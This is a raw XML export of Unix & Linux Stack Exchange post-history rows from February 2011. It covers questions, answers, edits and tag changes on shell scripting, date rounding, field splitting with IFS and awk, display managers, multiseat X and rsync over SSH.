  <row Id="18399" PostHistoryTypeId="2" PostId="7856" RevisionGUID="338b9a62-b86a-43f0-8f84-7297efc843d6" CreationDate="2011-02-22T16:12:04.560" UserId="1655" Text="`:`, `true`, `false`, `reset`, `clear`, `line`, `chkdupexe` and `arch` all take no arguments.&#xD;&#xA;&#xD;&#xA;I'm sure they accept them, but they ignore them." />
  <row Id="18400" PostHistoryTypeId="5" PostId="7732" RevisionGUID="98bd6097-69b8-43f6-9445-723e831c81a1" CreationDate="2011-02-22T16:15:18.173" UserId="4297" Comment="Fixed sentence: Last command uses awk, not cut." Text="[`stat`][1]  from [GNU coreutils][2] can do this:&#xD;&#xA;&#xD;&#xA;    stat -c '%U' /path/of/file/or/directory&#xD;&#xA;&#xD;&#xA;Unfortunately, there are a number of versions of `stat`, and there's not a lot of consistency in their syntax.  For example, on FreeBSD, it would be&#xD;&#xA;&#xD;&#xA;    stat -f '%Su' /path/of/file/or/directory&#xD;&#xA;&#xD;&#xA;If portability is a concern, you're probably better off using [Gilles's suggestion][3] of combining `ls` and `awk`.  It has to start two processes instead of one, but it has the advantage of using only POSIX-standard functionality:&#xD;&#xA;&#xD;&#xA;    ls -ld /path/of/file/or/directory | awk '{print $3}'&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/coreutils/manual/html_node/stat-invocation.html&#xD;&#xA;  [2]: http://www.gnu.org/software/coreutils/&#xD;&#xA;  [3]: http://unix.stackexchange.com/questions/7730/find-the-owner-of-a-directory-or-file-but-only-return-that-and-nothing-else/7733#7733" />
  <row Id="18401" PostHistoryTypeId="24" PostId="7732" RevisionGUID="862a7f26-157e-4ce9-a2de-dd3cdd82d62b" CreationDate="2011-02-22T16:15:18.173" Comment="Proposed by 4297 approved by 73 edit id of 46" />
  <row Id="18402" PostHistoryTypeId="2" PostId="7857" RevisionGUID="eac5a543-fc28-4c96-8bfc-413d48967903" CreationDate="2011-02-22T16:19:20.657" UserId="1655" Text="I figured this out. It was the network dongle. Eventually it stopped working completely. I pried open the housing and there was a big drop of solder and a scorch mark where a diode used to be." />
  <row Id="18403" PostHistoryTypeId="2" PostId="7858" RevisionGUID="937b9b14-6a7a-4a7a-9b2a-08abdf6e049c" CreationDate="2011-02-22T16:22:57.467" UserId="2511" Text="You can definitely customize xdm. This is documented in the (quite thorough) xdm man page. Some things are customized via X resources (which, long ago, was the normal way to configure X apps — you can use a similar thing to customize xterm), generally in the file `/etc/X11/xdm/Xresources`. Others things — like setting a background image — are controlled through the `Xsetup` script.&#xD;&#xA;&#xD;&#xA;But you might also want to look at [LXDM][1], which is another lightweight and modern (gtk) X display manager, but without all the dependencies of gdm or kdm. In fact, you might want to look at [LXDE][2] for your project in general — it's designed to be a very lightweight desktop environment (built around openbox as a window manager).&#xD;&#xA;&#xD;&#xA;There's also a display manager called [SLiM][3], which also aims at being lightweight and themeable. I haven't used that one, though, so I can't vouch for it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wiki.lxde.org/en/LXDM&#xD;&#xA;  [2]: http://lxde.org/&#xD;&#xA;  [3]: http://slim.berlios.de/" />
  <row Id="18405" PostHistoryTypeId="5" PostId="7850" RevisionGUID="4a428003-3abb-49a7-80da-46a36cdaa5e0" CreationDate="2011-02-22T16:39:28.230" UserId="4986" Comment="Clarified that I’m not writing a shell app." Text="Hello! I am writing a regular compiled application that needs to create a special file and write a magic cookie into it. I can’t write the file directly from the application, the system security model requires me to launch a helper tool with elevated privileges to do the trick. I can supply any number of arguments to the helper tool. Now I would like to pick some very simple system command that would serve as the helper tool and create the file for me. Something like this:&#xD;&#xA;&#xD;&#xA;`/bin/sh -c &quot;/bin/echo -n 'magic' &gt; /some/where/file&quot;`&#xD;&#xA;&#xD;&#xA;Simple `touch` does not cut it as I need to write the cookie into the file, a simple `echo` without the shell wrapper does not work as it needs redirection to write the file. I don’t feel comfortable calling the shell with root privileges to do such a trivial task. Is there some really simple, constrained system command that I could call to write the file for me?" />
  <row Id="18406" PostHistoryTypeId="5" PostId="7849" RevisionGUID="18194f4d-2cdd-4c97-879d-f8d9d879ea34" CreationDate="2011-02-22T16:51:43.640" UserId="2343" Comment="added 133 characters in body; added 2 characters in body; added 24 characters in body; added 29 characters in body; deleted 19 characters in body" Text="The following methods make it unnecessary to call `date` twice.  &#xD;&#xA;A system call can be 100 times slower than bash doing the same thing in its own local environment.&#xD;&#xA;&#xD;&#xA;    eval $(date +Y=%Y\;m=%m\;d=%d\;H=%H\;M=%M)&#xD;&#xA;    [[ &quot;$M&quot; &lt; &quot;15&quot; ]] &amp;&amp; M=00 # cater for octal clash&#xD;&#xA;    M=$(((M/15)*15))&#xD;&#xA;    ((M==0)) &amp;&amp; M=00 # the math returns 0, so make it 00  &#xD;&#xA;    echo $Y.$m.$d $H:$M  &#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    eval $(date +Y=%Y\;m=%m\;d=%d\;H=%H\;M=%M)&#xD;&#xA;    if   [[ &quot;$M&quot; &lt; &quot;15&quot; ]] ; then M=00&#xD;&#xA;    elif [[ &quot;$M&quot; &lt; &quot;30&quot; ]] ; then M=15&#xD;&#xA;    elif [[ &quot;$M&quot; &lt; &quot;45&quot; ]] ; then M=30&#xD;&#xA;    else M=45&#xD;&#xA;    fi&#xD;&#xA;    echo $Y.$m.$d $H:$M&#xD;&#xA;&#xD;&#xA;   &#xD;&#xA;Both versions will return only  &#xD;&#xA;&#xD;&#xA;    2011.02.23 01:00&#xD;&#xA;    2011.02.23 01:15&#xD;&#xA;    2011.02.23 01:30&#xD;&#xA;    2011.02.23 01:45   &#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Here is the first one with a TEST loop for all 60 values {00..59}  &#xD;&#xA;&#xD;&#xA;    for X in {00..59} ;                         ###### TEST&#xD;&#xA;    do                                          ###### TEST &#xD;&#xA;      eval $(date +Y=%Y\;m=%m\;d=%d\;H=%H\;M=%M)&#xD;&#xA;      M=$X                                      ###### TEST &#xD;&#xA;      [[ &quot;$M&quot; &lt; &quot;15&quot; ]] &amp;&amp; M=00 # cater for octal clash&#xD;&#xA;      M=$(((M/15)*15))&#xD;&#xA;      ((M==0)) &amp;&amp; M=00 # the math returns 0, so make it 00  &#xD;&#xA;      echo $Y.$m.$d $H:$M &#xD;&#xA;    done                                        ###### TEST &#xD;&#xA;" />
  <row Id="18407" PostHistoryTypeId="5" PostId="7849" RevisionGUID="7c257796-3217-4de7-8d53-ce1e23e3e3b6" CreationDate="2011-02-22T16:57:00.527" UserId="2343" Comment="added 32 characters in body" Text="The following methods make it unnecessary to call `date` twice.  &#xD;&#xA;A system call's overhead can make a &quot;simple&quot; command 100 times slower than bash doing the same thing in its own local environment.&#xD;&#xA;&#xD;&#xA;    eval $(date +Y=%Y\;m=%m\;d=%d\;H=%H\;M=%M)&#xD;&#xA;    [[ &quot;$M&quot; &lt; &quot;15&quot; ]] &amp;&amp; M=00 # cater for octal clash&#xD;&#xA;    M=$(((M/15)*15))&#xD;&#xA;    ((M==0)) &amp;&amp; M=00 # the math returns 0, so make it 00  &#xD;&#xA;    echo $Y.$m.$d $H:$M  &#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    eval $(date +Y=%Y\;m=%m\;d=%d\;H=%H\;M=%M)&#xD;&#xA;    if   [[ &quot;$M&quot; &lt; &quot;15&quot; ]] ; then M=00&#xD;&#xA;    elif [[ &quot;$M&quot; &lt; &quot;30&quot; ]] ; then M=15&#xD;&#xA;    elif [[ &quot;$M&quot; &lt; &quot;45&quot; ]] ; then M=30&#xD;&#xA;    else M=45&#xD;&#xA;    fi&#xD;&#xA;    echo $Y.$m.$d $H:$M&#xD;&#xA;&#xD;&#xA;   &#xD;&#xA;Both versions will return only  &#xD;&#xA;&#xD;&#xA;    2011.02.23 01:00&#xD;&#xA;    2011.02.23 01:15&#xD;&#xA;    2011.02.23 01:30&#xD;&#xA;    2011.02.23 01:45   &#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Here is the first one with a TEST loop for all 60 values {00..59}  &#xD;&#xA;&#xD;&#xA;    for X in {00..59} ;                         ###### TEST&#xD;&#xA;    do                                          ###### TEST &#xD;&#xA;      eval $(date +Y=%Y\;m=%m\;d=%d\;H=%H\;M=%M)&#xD;&#xA;      M=$X                                      ###### TEST &#xD;&#xA;      [[ &quot;$M&quot; &lt; &quot;15&quot; ]] &amp;&amp; M=00 # cater for octal clash&#xD;&#xA;      M=$(((M/15)*15))&#xD;&#xA;      ((M==0)) &amp;&amp; M=00 # the math returns 0, so make it 00  &#xD;&#xA;      echo $Y.$m.$d $H:$M &#xD;&#xA;    done                                        ###### TEST &#xD;&#xA;" />
  <row Id="18408" PostHistoryTypeId="25" PostId="7833" RevisionGUID="5d1f4bef-e4a7-47b7-a99a-2c53bb66a7e1" CreationDate="2011-02-22T17:23:15.723" Comment="http://twitter.com/#!/StackUnix/status/40099312063098882" />
  <row Id="18409" PostHistoryTypeId="2" PostId="7859" RevisionGUID="1285a5d3-67c7-4cb8-b506-fcd5798a8fbe" CreationDate="2011-02-22T17:27:39.897" UserId="4877" Text="This is probably a REALLY stupid question.&#xD;&#xA;But anyways, lets pretend we had a *nix rather powerful system...&#xD;&#xA;Now Obviously I know you can set up multiple users to login to a system.......but how exactly do you do that? Like....how would all the monitors connect and such, or would you need a smaller computer node that like....reroutes it or something?&#xD;&#xA;&#xD;&#xA;I know that probably sounds dumb...but how do System Admins and such set up multiple users for a *nix system? across a large building or something?" />
  <row Id="18410" PostHistoryTypeId="1" PostId="7859" RevisionGUID="1285a5d3-67c7-4cb8-b506-fcd5798a8fbe" CreationDate="2011-02-22T17:27:39.897" UserId="4877" Text="Multiple Users on a Desktop Environment" />
  <row Id="18411" PostHistoryTypeId="3" PostId="7859" RevisionGUID="1285a5d3-67c7-4cb8-b506-fcd5798a8fbe" CreationDate="2011-02-22T17:27:39.897" UserId="4877" Text="élinuxàéunixàéusersà" />
  <row Id="18412" PostHistoryTypeId="2" PostId="7860" RevisionGUID="a591a007-0575-4331-865b-619d71da60cb" CreationDate="2011-02-22T17:43:02.907" UserId="2511" Text="Generally, one runs a server with no actual graphical display attached to it (maybe a very simple one for diagnostic work). Clients connect via a network protocol, either X tunneled over SSH or a remote-desktop protocol like VNC or RDP.&#xD;&#xA;&#xD;&#xA;With the former, users execute GUI programs from the remote shell and they show up seamlessly as windows on their client systems. This works well on high-speed networks as long as the graphics aren't intensive, but unfortunately the X protocol is very chatty and not highly efficient. It also requires each client to run an X server, which is automatic on Linux clients, easy on Mac OS, and somewhat cumbersome on Windows.&#xD;&#xA;&#xD;&#xA;The other approach is to use VNC or RDP, which run an entire remote desktop session displayed as a window on the client. The actual work is done on the server and a compressed graphics stream delivered to the client program. There's also an in-between option called NX, which uses an optimized version of the X protocol to deliver a similar experience (with some performance improvements over VNC or RDP.) For these approaches, client programs are available for any major (and many minor) operating systems.&#xD;&#xA;&#xD;&#xA;There is another entire way to go, though, which matches more what you are imaging: a ginormous octopus-like system extending direct graphical connections from a central server around a small area (or even a whole building). This is known as &quot;Multiseat X&quot;, and you can read more about doing that [in this article from x.org][1]. The links from there indicate that there's enough interest in doing this to keep the idea alive, although I've never actually seen anyone doing it in my direct experience.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.x.org/wiki/Development/Documentation/Multiseat" />
  <row Id="18413" PostHistoryTypeId="2" PostId="7861" RevisionGUID="cc523306-293a-4638-8d52-31b67a4426f9" CreationDate="2011-02-22T17:45:10.840" UserId="3447" Text="If you have one central server and many client machines, SSH and X11 forwarding is a very good method of accomplishing this.  If you're just talking about having one machine with many monitors, keyboards, and mice this is called &quot;Multiseat&quot;.  I believe with recent X.org versions this is no longer possible, but I believe they're trying to bring it back.&#xD;&#xA;&#xD;&#xA;Here are a couple of links for you.  And now that you know it's called Multiseat you can Google around for more information.&#xD;&#xA;http://en.wikipedia.org/wiki/Multiseat_configuration#GNU.2FLinux&#xD;&#xA;http://wiki.x.org/wiki/Development/Documentation/Multiseat" />
  <row Id="18414" PostHistoryTypeId="2" PostId="7862" RevisionGUID="2ae3f6f9-768b-4247-b6ca-9a4a4854bbd2" CreationDate="2011-02-22T17:47:04.643" UserId="305" Text="Method no. 1. It is possible to set up the diskless stations - nothing expensive - it have to simply run only a X server preferably with 2D acceleration (3D nowadays). On startup it gets a image from server, starts X login screen that present logging on server. The applications are run on server but they are displayed on thin client. To mess things up it means that X clients are run on server while X server is run on client. The exact details varies from diskless set up to set up but there are some pre-packaged tools to do this.&#xD;&#xA;It can be built using even second-hand clients (they do nothing except displaying polygons) as long as network and server can handle them.&#xD;&#xA;&#xD;&#xA;Method no. 2. X can handle multiple cards and multiple inputs ([multiseat][1]). It can also be restricted to only selected screen and/or input.&#xD;&#xA;You may start X server configured to only use mouse1, keyboard1and monitor1, then another that use mouse2, keyboard2 and monitor2 etc. However as some cards does not handle the there is Xephyr which does the same but within one X server.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.x.org/wiki/Development/Documentation/Multiseat" />
  <row Id="18415" PostHistoryTypeId="5" PostId="7861" RevisionGUID="f3b5f58a-2708-451f-a5c0-02bbd4525f19" CreationDate="2011-02-22T18:00:27.990" UserId="3447" Comment="added 4 characters in body" Text="If you have one central server and many client machines, SSH and X11 forwarding is a very good method of accomplishing this.  If you're just talking about having one machine with many monitors, keyboards, and mice this is called &quot;Multiseat&quot;.  I believe with recent X.org versions this is no longer possible, but I believe they're trying to bring it back.&#xD;&#xA;&#xD;&#xA;Here are a couple of links for you.  And now that you know it's called Multiseat you can Google around for more information.  &#xD;&#xA;http://en.wikipedia.org/wiki/Multiseat_configuration#GNU.2FLinux  &#xD;&#xA;http://wiki.x.org/wiki/Development/Documentation/Multiseat" />
  <row Id="18416" PostHistoryTypeId="2" PostId="7863" RevisionGUID="41de3abe-f5e5-4956-8a80-d95542a79e50" CreationDate="2011-02-22T18:37:46.623" UserId="2511" Text="There's another consideration, which is that you don't want to put the value of the magic cookie on a command line, since that can be observed by other users. Even if the program is short-lived (including if the program zeros out the command line string), there is the opportunity for attack. So, a theoretical:&#xD;&#xA;&#xD;&#xA;    writestringtofile 'magic' /some/where/file&#xD;&#xA;&#xD;&#xA;is a dangerous approach. Therefore, I endorse @stribika's suggestion: write the value to a temporary file and copy it into place. Make sure to use a secure function to create the temporary file (`mkstemp()`) so that there's not a race condition there as well." />
  <row Id="18417" PostHistoryTypeId="5" PostId="7828" RevisionGUID="99d10db9-b052-4082-a96e-32a24b99547c" CreationDate="2011-02-22T18:45:35.900" UserId="1655" Comment="Indented code" Text="Hi,&#xD;&#xA;&#xD;&#xA;I am trying to backup my linux webserver to our local windows sbs 2003 server in the office. I have set up ssh and cwrsync on the windows server and have confirmed that the linux server can reach the windows server via the command:&#xD;&#xA;&#xD;&#xA;    ssh RemoteUser@xxx.xxx.xxx.xxx&#xD;&#xA;&#xD;&#xA;It asks for a password and connects fine. However when I run this command to start the backup:&#xD;&#xA;&#xD;&#xA;    rsync -avz -e ssh home/account/public_html/some/small/directory/ \&#xD;&#xA;        remote_user@xxx.xxx.xxx.xxx:/cygdrive/c/backup/destination/directory/&#xD;&#xA;&#xD;&#xA;I get this error after entering the password:&#xD;&#xA;&#xD;&#xA;&gt;protocol version mismatch -- is your shell clean?&#xD;&#xA;&#xD;&#xA;and then it dies.&#xD;&#xA;&#xD;&#xA;Has anyone got any ideas?&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;Alex" />
  <row Id="18418" PostHistoryTypeId="24" PostId="7828" RevisionGUID="602a5c07-59c8-47f1-bb72-6c5b2bff7abc" CreationDate="2011-02-22T18:45:35.900" Comment="Proposed by 1655 approved by 73 edit id of 47" />
  <row Id="18419" PostHistoryTypeId="6" PostId="7850" RevisionGUID="b69727b2-9655-41ab-9d98-9097079fcb8e" CreationDate="2011-02-22T19:18:41.397" UserId="885" Comment="edited tags" Text="éshellàésecurityàésudoàéioöredirectionàérootà" />
  <row Id="18420" PostHistoryTypeId="6" PostId="7859" RevisionGUID="b50d7420-82ea-474b-ac32-8db0a8ced6ae" CreationDate="2011-02-22T19:22:22.203" UserId="885" Comment="edited tags" Text="éusersàémultiseatàémultiuserà" />
  <row Id="18421" PostHistoryTypeId="6" PostId="5321" RevisionGUID="7138ded6-8257-4263-9b6c-77532210ab02" CreationDate="2011-02-22T19:23:01.890" UserId="885" Comment="edited tags" Text="ékernelàéarchitectureàéconcurrencyà" />
  <row Id="18422" PostHistoryTypeId="6" PostId="682" RevisionGUID="4b83c408-4534-4959-a05d-e98ae40e16bd" CreationDate="2011-02-22T19:23:54.557" UserId="885" Comment="edited tags" Text="éunixàéarchitectureàéphilosophyà" />
  <row Id="18423" PostHistoryTypeId="6" PostId="3310" RevisionGUID="3f68f20b-4ad0-4d26-a218-95b1f49100eb" CreationDate="2011-02-22T19:24:13.467" UserId="885" Comment="edited tags" Text="éinstallàéwindowsàédualöbootà" />
  <row Id="18424" PostHistoryTypeId="6" PostId="2425" RevisionGUID="e95eaac1-d5aa-447f-9a8e-dd0f758279b6" CreationDate="2011-02-22T19:24:27.380" UserId="885" Comment="edited tags" Text="élinuxàéinstallàédriversàéthinkpadà" />
  <row Id="18425" PostHistoryTypeId="6" PostId="1658" RevisionGUID="b9f7e0b1-cd37-431b-9f3b-20df990b7027" CreationDate="2011-02-22T19:24:54.683" UserId="885" Comment="edited tags" Text="élinuxàédistrosàégnuà" />
  <row Id="18426" PostHistoryTypeId="2" PostId="7864" RevisionGUID="27590801-9004-495b-ba9c-7af371a9fdfc" CreationDate="2011-02-22T19:34:34.687" UserId="1782" Text="I have an apple keyboard and I had to do some remapping of the keys to make the mod-4 key the first key to the left of the space bar for when working with Emacs.  The below script worked fine when I was using the dwm window manager, but after switching to openbox I have found that instead of swapping keycodes between the option and command keys, both of the keys are doing the same thing.&#xD;&#xA;&#xD;&#xA;One odd thing I noticed, was on the new setup when I click run `showkey` and press the option and command keys I get 56 and 125 respectively, but these keys don't work at all when inserting them into the below script instead of the 64 and 133.&#xD;&#xA;&#xD;&#xA;I must admit I created the script below by continually tweaking it until it worked so there could be a much better way of doing it.&#xD;&#xA;&#xD;&#xA;###.xmodmap&#xD;&#xA;&#xD;&#xA;    # switch alt and command...the switch is not being done properly&#xD;&#xA;    xmodmap -e &quot;keycode 64 = Alt_L&quot;&#xD;&#xA;    xmodmap -e &quot;keycode 133 = Meta_L&quot;&#xD;&#xA;&#xD;&#xA;    # remap of mod 4&#xD;&#xA;    xmodmap -e &quot;clear Mod4&quot;&#xD;&#xA;    xmodmap -e &quot;add Mod4 = Super_L&quot;&#xD;&#xA;" />
  <row Id="18427" PostHistoryTypeId="1" PostId="7864" RevisionGUID="27590801-9004-495b-ba9c-7af371a9fdfc" CreationDate="2011-02-22T19:34:34.687" UserId="1782" Text="Keymapping problem when working with emacs and openbox" />
  <row Id="18428" PostHistoryTypeId="3" PostId="7864" RevisionGUID="27590801-9004-495b-ba9c-7af371a9fdfc" CreationDate="2011-02-22T19:34:34.687" UserId="1782" Text="éemacsàéopenboxàéxmodmapà" />
  <row Id="18429" PostHistoryTypeId="2" PostId="7865" RevisionGUID="cf51e63a-4578-4f95-847a-44ae1d6d20df" CreationDate="2011-02-22T19:44:34.440" UserId="885" Text="Here's a way to work on dates in the shell. First call `date` to get the components, and fill the positional parameters (`$1`, `$2`, etc) with the components (note that this is one of these rare cases where you do want to use `$(…)` outside of double quotes, to break the string into words). Then perform arithmetics, tests, or whatever you need to do on the components. Finally assemble the components.&#xD;&#xA;&#xD;&#xA;The arithmetic part can be a little tricky because shells treat `0` as an octal prefix; for example here `$(($5/15))` would fail at 8 or 9 minutes past the hour. Since there's at most one leading `0`, `${5#0}` is safe for arithmetic. Adding 100 and subsequently stripping the `1` is a way to get a fixed number of digits in the output.&#xD;&#xA;&#xD;&#xA;    set $(date &quot;+%Y %m %d %H %M&quot;)&#xD;&#xA;    m=$((100+15*(${5#0}/15)))&#xD;&#xA;    last_quarter_hour=&quot;$1.$2.$3 $4:${m#1}&quot;&#xD;&#xA;" />
  <row Id="18430" PostHistoryTypeId="2" PostId="7866" RevisionGUID="86ad760e-b371-48d9-88d1-cfbaf4e1b2a6" CreationDate="2011-02-22T19:45:13.657" UserId="4991" Text="[VLC](http://wiki.videolan.org/Documentation:Streaming_HowTo_New#Streaming_using_the_GUI) has a built-in desktop stream.  I don't recall if it does audio too, howerver.  &#xD;&#xA;If you need something quick you can try [Big Blue Button's](http://www.bigbluebutton.org/) VMware image.  It sets up a server that can stream desktop, video, audio, and whiteboard." />
  <row Id="18431" PostHistoryTypeId="6" PostId="7855" RevisionGUID="718eb1ee-32a9-4bf5-a474-9da50fc97f7c" CreationDate="2011-02-22T19:46:36.340" UserId="885" Comment="edited tags" Text="élinuxàéxorgàéguiàédisplayömanagerà" />
  <row Id="18432" PostHistoryTypeId="6" PostId="7821" RevisionGUID="2b6ca309-9437-4c99-84dd-14c35bb49382" CreationDate="2011-02-22T19:54:45.597" UserId="885" Comment="edited tags" Text="écommandölineà" />
  <row Id="18433" PostHistoryTypeId="6" PostId="7823" RevisionGUID="ce2abe07-99e5-4b0e-a2e6-bdaf6cd96a17" CreationDate="2011-02-22T19:57:02.490" UserId="885" Comment="edited tags" Text="évimàéideà" />
  <row Id="18434" PostHistoryTypeId="6" PostId="7809" RevisionGUID="21417906-f7c3-4051-b9c1-c6b69b29d5b1" CreationDate="2011-02-22T19:57:55.937" UserId="885" Comment="edited tags" Text="ébashàéscriptingàéfunctionà" />
  <row Id="18435" PostHistoryTypeId="2" PostId="7867" RevisionGUID="75c59e2d-6580-423d-b741-7e07d36d6af3" CreationDate="2011-02-22T20:05:13.540" UserId="885" Text="Some hardware needs to be initialized before it can work. The initialization is good until the hardware is turned off, so you can boot to an OS with a fully working driver, then perform a warm reboot to a second OS with a partially-working driver, and use the device in the second OS.&#xD;&#xA;&#xD;&#xA;Often the initialization consists of loading the proper firmware. What *may* have happened (I know the phenomenon exists but I don't know if your device is an example of it) is that the firmware was illegal to redistribute, and so was excluded from later Ubuntu releases, but is still present in 9.10 (either because you grabbed it before it went away or because no one cared to remove it from the earlier version). Of course, another possible explanation is a bug in the initialization code in the newer driver.&#xD;&#xA;&#xD;&#xA;(Yet another hypothesis is buggy hardware that only works when it's hot enough… That's rare but possible.)&#xD;&#xA;" />
  <row Id="18436" PostHistoryTypeId="6" PostId="7815" RevisionGUID="a831d9c2-1351-4a4a-be09-609e8ab5198e" CreationDate="2011-02-22T20:05:29.997" UserId="885" Comment="edited tags" Text="édriversàéwirelessà" />
  <row Id="18437" PostHistoryTypeId="6" PostId="7834" RevisionGUID="b13f4428-7cfa-49f6-a31e-0bc1e33c71ff" CreationDate="2011-02-22T20:06:02.010" UserId="885" Comment="edited tags" Text="éshellàéusersàéaliasà" />
  <row Id="18438" PostHistoryTypeId="5" PostId="7832" RevisionGUID="a98e3499-55b2-4f75-86f3-353a00719d3c" CreationDate="2011-02-22T20:17:55.020" UserId="885" Comment="added set -f; generalize to POSIX shells" Text="Use bash (and other POSIX shells, e.g. ash, ksh, zsh)'s `IFS` (Internal Field Seperator).&#xD;&#xA;&#xD;&#xA;Using IFS avoids an external call, and it simply allows for embeded spaces.   &#xD;&#xA;&#xD;&#xA;    # ==============&#xD;&#xA;      A='token0:token1:token2.y   token2.z '&#xD;&#xA;      echo normal. $A&#xD;&#xA;    # Save IFS; Change IFS to &quot;:&quot; &#xD;&#xA;      SFI=$IFS; IFS=:     ##### This is the important bit part 1a &#xD;&#xA;      set -f              ##### ... and part 1b: disable globbing&#xD;&#xA;      echo changed $A&#xD;&#xA;      B=($A)  ### this is now parsed at :  (not at the default IFS whitespace) &#xD;&#xA;      echo B...... $B&#xD;&#xA;      echo B[0]... ${B[0]}&#xD;&#xA;      echo B[1]... ${B[1]}&#xD;&#xA;      echo B[2]... ${B[2]}&#xD;&#xA;      echo B[@]... ${B[@]}&#xD;&#xA;    # Reset the original IFS&#xD;&#xA;      IFS=$SFI             ##### Important bit part 2a&#xD;&#xA;      set +f               ##### ... and part 2b&#xD;&#xA;      echo normal. $A&#xD;&#xA;    &#xD;&#xA;    # Output&#xD;&#xA;    normal. token0:token1:token2.y token2.z&#xD;&#xA;    changed token0 token1 token2.y   token2.z &#xD;&#xA;    B...... token0&#xD;&#xA;    B[0]... token0&#xD;&#xA;    B[1]... token1&#xD;&#xA;    B[2]... token2.y   token2.z &#xD;&#xA;    B[@]... token0 token1 token2.y   token2.z &#xD;&#xA;    normal. token0:token1:token2.y token2.z&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="18439" PostHistoryTypeId="25" PostId="7859" RevisionGUID="f995d9f7-603c-44a0-b06e-4abe925e862d" CreationDate="2011-02-22T20:23:15.873" Comment="http://twitter.com/#!/StackUnix/status/40144611120922624" />
  <row Id="18440" PostHistoryTypeId="2" PostId="7868" RevisionGUID="02cf5d3c-ad28-4218-a13d-69a62f0085b2" CreationDate="2011-02-22T20:28:40.250" UserId="885" Text="There are major two approaches. One is `IFS`, [demonstrated by fred.bear](http://unix.stackexchange.com/questions/7827/extracting-tokens-from-a-line-of-text/7832#7832). This has the advantage of not requiring a separate process, but it can be tricky to get right when your input might have characters that have special meaning to the shell. The other approach is to use a text processing utility. Field splitting is built into `awk`.&#xD;&#xA;&#xD;&#xA;    input=&quot;token1;token2;token3;token4&quot;&#xD;&#xA;    awk -vinput=&quot;$input&quot; 'BEGIN {&#xD;&#xA;        count = split(input, a);&#xD;&#xA;        print &quot;first field: &quot; a[1];&#xD;&#xA;        print &quot;second: field&quot; a[2];&#xD;&#xA;        print &quot;number of fields: &quot; count;&#xD;&#xA;        exit;&#xD;&#xA;    }'&#xD;&#xA;&#xD;&#xA;Awk is particularly appropriate when processing multiple inputs.&#xD;&#xA;&#xD;&#xA;    command_producing_semicolon_separated_data |&#xD;&#xA;    awk -F ';' '&#xD;&#xA;        print &quot;first field: &quot; $1;&#xD;&#xA;        print &quot;second field: &quot; $2;&#xD;&#xA;        print &quot;number of fields: &quot; NF;&#xD;&#xA;    '&#xD;&#xA;" />
  <row Id="18441" PostHistoryTypeId="6" PostId="7827" RevisionGUID="f4d765cf-e79a-4148-93eb-93be6f262353" CreationDate="2011-02-22T20:28:51.607" UserId="885" Comment="edited tags" Text="ébashàégrepàétextöprocessingàésedàéawkà" />
  <row Id="18442" PostHistoryTypeId="2" PostId="7869" RevisionGUID="6db24402-0fcf-4bd5-8e8d-bbf09c2f4e2b" CreationDate="2011-02-22T20:41:44.353" UserId="885" Text="In the original Unix implementation, in order to keep the filesystem code inside the kernel simple, directory manipulation programs did some extra work: in particular, `mkdir /parent/a` created an entry for `a` in `/parent`, plus an entry called `.` in `a` (pointing to `a` itself) and an entry called `..` in `a` (pointing to `/parent`¹).&#xD;&#xA;&#xD;&#xA;Pretty soon the code for `mkdir` and friends moved into the kernel anyway, but the filesystem format kept having explicit `.` and `..` entries, which filesystem traversal code found by name (as opposed to having two special-format pointers in each directory).&#xD;&#xA;&#xD;&#xA;Nowadays, some (most?) filesystems fake it: directories don't actually have `.` and `..` entries on the disk, they're generated by the driver. However, from a user's point of view, this is transparent. A directory's link count is still two plus the number of subdirectories (the entry in the parent, the directory's own `.`, and each subdirectory's `..`). In particular, an empty directory has a link count of two (i.e. there are two entries in the filesystem pointing to it), but creating it creates three entries (the third one is `..` which points to the parent).&#xD;&#xA;&#xD;&#xA;¹ &lt;sub&gt;&#xD;&#xA;By reference, not by name. So if you rename `/parent`, `a`'s `..` keeps pointing to `a`'s parent directory, wherever it moves to in the filesystem structure.&#xD;&#xA;&lt;/sub&gt;&#xD;&#xA;" />
  <row Id="18443" PostHistoryTypeId="6" PostId="7814" RevisionGUID="5c25294a-fe4e-4ba6-96e9-0441d713ad5e" CreationDate="2011-02-22T20:41:59.407" UserId="885" Comment="edited tags" Text="éfilesystemsàédirectoryà" />
  <row Id="18444" PostHistoryTypeId="6" PostId="7813" RevisionGUID="18f02e95-4436-4c54-913c-a0fedadc9d66" CreationDate="2011-02-22T20:58:03.083" UserId="885" Comment="edited tags" Text="élinuxàédistributionöchoiceàéi386à" />
  <row Id="18445" PostHistoryTypeId="6" PostId="7767" RevisionGUID="ca678ba6-06cc-4950-b9a5-7f80ace31a9e" CreationDate="2011-02-22T20:58:21.913" UserId="885" Comment="edited tags" Text="ésolarisàépathàépsà" />
  <row Id="18446" PostHistoryTypeId="6" PostId="5267" RevisionGUID="923bdd3a-6752-40ee-b4fe-28909028ca8e" CreationDate="2011-02-22T20:58:49.930" UserId="885" Comment="edited tags" Text="évimàédocumentationàéinfoà" />
  <row Id="18447" PostHistoryTypeId="5" PostId="7827" RevisionGUID="23683377-4419-4c59-9432-f2cf1c86a80a" CreationDate="2011-02-22T21:11:19.400" UserId="885" Comment="formatting" Text="Using bash scripting and grep/awk/sed, how can I  split a line matching a known pattern with a single character delimiter into an array, e.g.  convert `token1;token2;token3;token4` into `a[0] = token1` … `a[3]=token4` ?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="18448" PostHistoryTypeId="2" PostId="7870" RevisionGUID="835df92e-a5a3-4a2c-811f-a732553d6da4" CreationDate="2011-02-22T21:14:32.783" UserId="688" Text="Is there a way to check how long a program has been running, short of running it from a monitoring app?" />
  <row Id="18449" PostHistoryTypeId="1" PostId="7870" RevisionGUID="835df92e-a5a3-4a2c-811f-a732553d6da4" CreationDate="2011-02-22T21:14:32.783" UserId="688" Text="How to check how a long a program has been running?" />
